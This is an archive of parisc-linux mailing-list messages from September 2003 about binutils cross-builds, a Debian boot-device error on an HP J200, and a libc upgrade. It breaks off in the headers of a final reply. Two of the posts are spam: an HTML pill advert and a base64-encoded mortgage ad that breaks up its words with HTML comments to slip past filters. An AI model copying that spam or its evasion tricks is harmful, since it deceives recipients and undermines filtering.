Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 17 19:42:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34F744844
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Sep 2003 19:42:18 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19znmD-000393-00; Wed, 17 Sep 2003 21:40:09 -0400
Content-Disposition: inline
In-Reply-To: <20030918003807.GP21596@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19518

> > 
> > Separate compilers yes. Separate linker and assembler no.
> > I thought I could use '--enable-targets=hppa64-linux' in binutils.
> 
> I think that only works for some parts of binutils -- specifically not ld.
> 

So it seems. Fiddle sticks. Two builds it is then :)

c.


From - Thu Nov 08 21:29:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit kernel builds with gcc-3.4 experimental cross.
Date: Thu, 18 Sep 2003 01:38:07 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20030918003807.GP21596@parcelfarce.linux.theplanet.co.uk>
References: <20030917161800.GB30176@systemhalted> <200309171643.h8HGhJlw013649@hiauly1.hia.nrc.ca> <20030917225406.GG30176@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622779 30982 80.91.229.3 (22 Nov 2014 02:19:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:39 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, dave.anglin@nrc-cnrc.gc.ca
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 17 19:55:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 731E24844
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Sep 2003 19:55:34 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19zmoB-0003wR-JO; Thu, 18 Sep 2003 01:38:07 +0100
Content-Disposition: inline
In-Reply-To: <20030917225406.GG30176@systemhalted>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19519

On Wed, Sep 17, 2003 at 06:54:07PM -0400, Carlos O'Donell wrote:
> On Wed, Sep 17, 2003 at 12:43:18PM -0400, John David Anglin wrote:
> > > hppa64-linux-ld: Relocatable linking with relocations from format
> > > elf32-hppa-linux (sched.o) to format elf32-hppa-linux (kernel.o) is not
> > > supported
> > 
> > As far as I know, there is no multi-arch support in ld or as.
> > There isn't multi-arch support in GCC either.  You need separate
> > compilers for 32 and 64 bits.
> 
> Separate compilers yes. Separate linker and assembler no.
> I thought I could use '--enable-targets=hppa64-linux' in binutils.

I think that only works for some parts of binutils -- specifically not ld.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jacek Chmielewski <jchmiel@kti.ae.poznan.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] debian installation problem - ERROR: Read from boot device failed
Date: Thu, 18 Sep 2003 11:16:17 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <42687877064.20030918111617@kti.ae.poznan.pl>
Reply-To: Jacek Chmielewski <jchmiel@kti.ae.poznan.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622780 30983 80.91.229.3 (22 Nov 2014 02:19:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 03:16:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from octopus.kti.ae.poznan.pl (octopus.kti.ae.poznan.pl [150.254.204.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDCF2488B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Sep 2003 03:16:16 -0600 (MDT)
Original-Received: from pyxis.kti.ae.poznan.pl ([150.254.204.45] helo=localhost)
	by octopus.kti.ae.poznan.pl with esmtp (Exim 3.35 #1 (Debian))
	id 19zurl-0005u2-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Sep 2003 11:14:21 +0200
X-Mailer: The Bat! (v1.61)
X-Priority: 3 (Normal)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19520

I want to install Debian on my HP 9000 J200 box and I encountered a problem
with booting the installation procedure:

Selected kernel: /vmlinux32 from partition 0
Selected ramdisk: /ramdiski from partition 0
ELF32 executable
Entry 00100098 first 00100000 n 6
Segment 0 load 00100000 size 2196688 mediaptr 0x1000
Segment 1 load 0031a000 size 467792 mediaptr 0x21a000
Segment 2 load 00390000 size 255656 mediaptr 0x28d000
Segment 3 load 003d0000 size 8192 mediaptr 0x2cc000
Segment 4 load 003d8000 size 32768 mediaptr 0x2ce000
Segment 5 load 00402048 size 110832 mediaptr 0x2d6048

ERROR: Read from boot device failed (status = -13).
byteio_read: seekread() returned -1 expected 2195456
ERROR: segment 0 read() failed
Fatal error loading kernel executableERROR: failed to load kernel 

I tried the Debian binary-1 CD and netinstall CD. Both with almost same
results ('status = -7' for Debian CD, and 'status = -13' for netinstall
CD).

What could be wrong? Do you know any possible source of this problem?

Best regards
  Jacek Chmielewski




From - Thu Nov 08 21:29:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Riemer <t.riemer@visoel.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] update of libc?
Date: Thu, 18 Sep 2003 11:31:57 +0200
Organization: Visoel GmbH
Lines: 8
Approved: news@gmane.org
Message-ID: <20030918113157.000037fb.t.riemer@visoel.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622780 30985 80.91.229.3 (22 Nov 2014 02:19:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:40 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 03:29:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from natsmtp01.webmailer.de (natsmtp01.webmailer.de [192.67.198.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A408488B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Sep 2003 03:29:54 -0600 (MDT)
Original-Received: from volpus.visoel.me (pD9E1F999.dip.t-dialin.net [217.225.249.153])
	by post.webmailer.de (8.12.9/8.12.9) with SMTP id h8I9Tp0V025718
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Sep 2003 11:29:51 +0200 (MEST)
X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.3.0; Win32)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19521

Hello,

is it dangerous to make an update of libc from 2.2.5 to 2.3.x?
At the moment I have only remote access to the affected host.


Best regards, Tilo


From - Thu Nov 08 21:29:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] update of libc?
Date: Thu, 18 Sep 2003 11:38:50 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20030918093850.GB12661@lug-owl.de>
References: <20030918113157.000037fb.t.riemer@visoel.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Wcqk1U9YY/kgSQtH"
X-Trace: ger.gmane.org 1416622780 30990 80.91.229.3 (22 Nov 2014 02:19:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 03:38:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADF5A488B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Sep 2003 03:38:51 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 644B74B399; Thu, 18 Sep 2003 11:38:50 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030918113157.000037fb.t.riemer@visoel.de>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19522

--Wcqk1U9YY/kgSQtH
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 2003-09-18 11:31:57 +0200, Tilo Riemer <t.riemer@visoel.de>
wrote in message <20030918113157.000037fb.t.riemer@visoel.de>:
> is it dangerous to make an update of libc from 2.2.5 to 2.3.x?
> At the moment I have only remote access to the affected host.

I've just dist-upgrade'd all my machines. Libc still works (including a
B132L+ and a 712), but you should be aware of module-init-tools if
you're already using 2.6.x.

# touch /etc/modprobe.d/arch/generic=20

=2E..helps you over a bug in the .deb ...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--Wcqk1U9YY/kgSQtH
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/aX0pHb1edYOZ4bsRAgGuAJ9nXWuut0ycIDo0yUlLAonENj4dxwCfWAyn
MAd+O0ylRvHjvnGkg4ReNrU=
=7T0X
-----END PGP SIGNATURE-----

--Wcqk1U9YY/kgSQtH--


From - Thu Nov 08 21:29:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "" <aol@01019freenet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Be bigger than average!       - wm ecvjdr oxtriedlke
Date: Thu, 18 Sep 03 19:01:32 GMT
Lines: 21
Approved: news@gmane.org
Message-ID: <v131--q9-f6gad$92qa$8afw@5pc.7mo.gpq>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="FFA.D.09EA..69E0"
X-Trace: ger.gmane.org 1416622781 30994 80.91.229.3 (22 Nov 2014 02:19:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:41 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 06:05:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from CIDEX01 (unknown [202.56.239.41])
	by dsl2.external.hp.com (Postfix) with SMTP
	id ED4D1484E; Thu, 18 Sep 2003 06:05:22 -0600 (MDT)
Original-Received: from wxpi.7sx2.net [32.241.110.8]
	by CIDEX01;
	Thu, 18 Sep 2003 19:01:32 +0600
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19523

This is a multi-part message in MIME format.

--FFA.D.09EA..69E0
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML>
<BODY>
<CENTER><A HREF=3D"http://www.herbalplus.us/vprx/"><IMG SRC=3D"http://www.=
terra.es/personal7/petiteteen/a4.gif" border=3D"0"></A>
<p><br>
<a href=3D"http://www.herbalplus.us/out.html"><IMG SRC=3D"http://www.terra=
es/personal7/petiteteen/patch/o2.gif" border=3D0></a></CENTER>
<p><br>
patch
</BODY>
</HTML>

--FFA.D.09EA..69E0--



From - Thu Nov 08 21:29:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Dougherty <jesse@cypress-tech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Opportunity: Anyone got any 4GB SCSI drives
Date: Thu, 18 Sep 2003 08:48:05 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <3F69A985.F0A4EBFB@cypress-tech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622781 30997 80.91.229.3 (22 Nov 2014 02:19:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:41 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 06:46:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cypress2.cypress-tech.com (tamqfl1-53-130.biz.dsl.gtei.net [209.241.53.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38E26484E
	for <parisc-linux@parisc-linux.org>; Thu, 18 Sep 2003 06:46:57 -0600 (MDT)
Original-Received: from cypress-tech.com ([209.241.53.131]) by cypress2.cypress-tech.com with Microsoft SMTPSVC(5.0.2195.6713);
	 Thu, 18 Sep 2003 08:48:05 -0400
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
X-OriginalArrivalTime: 18 Sep 2003 12:48:05.0484 (UTC) FILETIME=[1AA90AC0:01C37DE3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19524

Opportunity: Anyone got any 4GB SCSI drives

I am searching for some 4GB disk drives commonly found in the HP B132L,
B160L, & B180L workstation. The part number is ST34572N 4GB SCSI 50 pin
drives. They could be found in other types of workstations, I only know
the HP stuff. I need to buy about 100 of these things. If you have any
surplus or extra drives that you might want to sell, please feel free to
call or email as I need to purchase these ASAP.

Thanks
Jesse Doughery
Cypress Technology Inc
727-557-0911
jesse@cypress-tech.com



From - Thu Nov 08 21:29:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "alice" <CASSEY_BOOT@yahoo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hi
Date: Thu, 18 Sep 2003 11:52:16 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20030918155247.99D054843@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1416622781 30999 80.91.229.3 (22 Nov 2014 02:19:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:41 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 09:52:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from CRASS1 (pcp481094pcs.oakrdg01.tn.comcast.net [68.47.210.252])
	by dsl2.external.hp.com (Postfix) with SMTP id 99D054843
	for <parisc-linux@parisc-linux.org>; Thu, 18 Sep 2003 09:52:47 -0600 (MDT)
X-Priority: 3 (normal)
Importance: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19525

PGh0bWw+DQpIaSw8YnI+DQpJIGtuPCEtLWR5YXVrZnMtLT5vdyB5b3Ugd2FudCB0byByZTwhLS0x
MjMxcmZzc2EtLT5maW5hPCEtLW44dWY0OTRqOC0tPm5jZSB5b3VyIGhvbWUgc28gPGJyPg0KaGVy
ZSBpcyB0aGUgd2U8IS0taGY4MWw5My0tPmJzaXRlIHlvdSB3YTwhLS1sYXM0aGQ3LS0+bnRlZCB3
aGVyZSBsZTwhLS1tZWxpc3NhLS0+bmRlcnMgPGJyPg0KY29tPCEtLWltcGVyaWFsLS0+cGV0ZSBm
b3IgeW91ciBidTwhLS1lbWlseS0tPnNpbmVzcy48YnI+DQo8YSBocmVmPSJodHRwOi8vd3d3LmR5
YXVrZnMuZmxpcHBpbmRlYWxzLmNvbSI+IEdvIEhlcmUgPC9hPjxicj4NClRoPCEtLTEyMzFyZnNz
YS0tPmFua3MsPGJyPg0KSmFjayBKb2g8IS0taGY4MWw5My0tPm5zb248YnI+DQo8YnI+DQo8YnI+
DQpObyA8IXJhbmQ0PiBNb3JlIDxhIGhyZWY9Imh0dHA6Ly9keWF1a2ZzLmZsaXBwaW5kZWFscy5j
b20vdW5zLmNnaSI+IG5vIG1hcyA8YS8+DQo8IS0tZW1pbHktLT4NCjwvaHRtbD4NCg==



From - Thu Nov 08 21:29:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] update of libc?
Date: Thu, 18 Sep 2003 12:02:49 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20030918160249.GC30890@systemhalted>
References: <20030918113157.000037fb.t.riemer@visoel.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622781 31002 80.91.229.3 (22 Nov 2014 02:19:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:41 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Tilo Riemer <t.riemer@visoel.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 10:04:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0213D4843
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Sep 2003 10:04:53 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A01F3-0008F5-00; Thu, 18 Sep 2003 12:02:49 -0400
Content-Disposition: inline
In-Reply-To: <20030918113157.000037fb.t.riemer@visoel.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (60% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19526

On Thu, Sep 18, 2003 at 11:31:57AM +0200, Tilo Riemer wrote:
> Hello,
> 
> is it dangerous to make an update of libc from 2.2.5 to 2.3.x?
> At the moment I have only remote access to the affected host.

There is no 2.3.x glibc available for debian, it's currently being
fixed. I apologize for the delay, it's more difficult than usual.

c.


From - Thu Nov 08 21:29:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] debian installation problem - ERROR: Read from boot device failed
Date: Thu, 18 Sep 2003 10:39:37 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <20030918163937.GB26681@dsl2.external.hp.com>
References: <42687877064.20030918111617@kti.ae.poznan.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622782 31003 80.91.229.3 (22 Nov 2014 02:19:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jacek Chmielewski <jchmiel@kti.ae.poznan.pl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 18 10:39:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
